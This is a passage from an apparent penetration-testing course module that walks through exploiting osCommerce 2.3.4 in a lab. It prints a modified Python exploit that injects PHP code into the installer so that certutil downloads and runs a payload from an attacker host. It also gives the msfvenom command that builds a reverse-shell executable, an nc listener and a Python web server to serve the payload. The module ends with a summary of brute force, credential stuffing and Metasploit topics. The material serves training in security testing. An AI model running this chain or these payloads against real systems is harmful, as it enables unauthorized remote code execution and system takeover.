Manual Exploitation

We will start off with an nmap scan.

```
sudo nmap -sS -sV IP
```

```
searchsploit oscommerce 2.3.4
```

We already have the exploit in our searchsploit, so lets clone it from there.

```
searchsploit -m php/webapps/44374.py
```

- Now lets make some changes to it.

```
import requests

# enter the the target url here, as well as the url to the install.php (Do
NOT remove the ?step=4)
base_url = "http://10.10.209.244:8080/oscommerce-2.3.4/catalog/"
target_url = "http://10.10.209.244:8080/oscommerce-
2.3.4/catalog/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) .
'\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += '$var = shell_exec("cmd.exe /C certutil -urlcache -split -f
http://10.18.1.78:8000/shell.exe shell.exe & shell.exe");'  # this is
where you enter you PHP payload
payload += 'echo $var;'
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)
```

```
if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL
to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")
```

Now before testing it, we have to make arrangement of two things - one is the payload shell.exe and the other is the server where we will be serving it for download by certutil.

Okay, so first lets generate our payload. We will use msfvenom from metasploit for this. I will not go into too much detail here as we will discuss Metasploit in great detail in next module but for now. lets generate the payload.

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f
exe -o shell.exe
```

```
nc -lvnp 4444
```

Next objective is to serve it. For that, we will use the Python HTTP server. It starts a web server in the current directory by default on port 8000.

```
python3 -m http.server
```

Now that we are done with the requirements. Lets execute the exploit.

```
python 44374
```

Key Takeaways

Throughout this module, we have covered a wide range of topics related to exploitation, including:

- **Brute Force Attacks**: We learned about the different types of brute force attacks, such as dictionary attacks and pure brute force, and how they can be used to gain unauthorized access to systems and applications.
- **Credential Stuffing and Password Spraying**: We explored these two related techniques that exploit weak or reused passwords to gain access to accounts and systems.
- **Automated exploitation with Metasploit**: We used the powerful Metasploit framework, to perform automated exploitation of target by just using some simple commands.

- **Public Exploits**: We discussed the importance of locating and analyzing public exploits, and how they can be used for vulnerability assessment, penetration testing, and research.
- **Manual Exploitation**: We learned the process of manually identifying, analyzing, and exploiting vulnerabilities in target systems and applications, gaining a deeper understanding of the exploitation process.
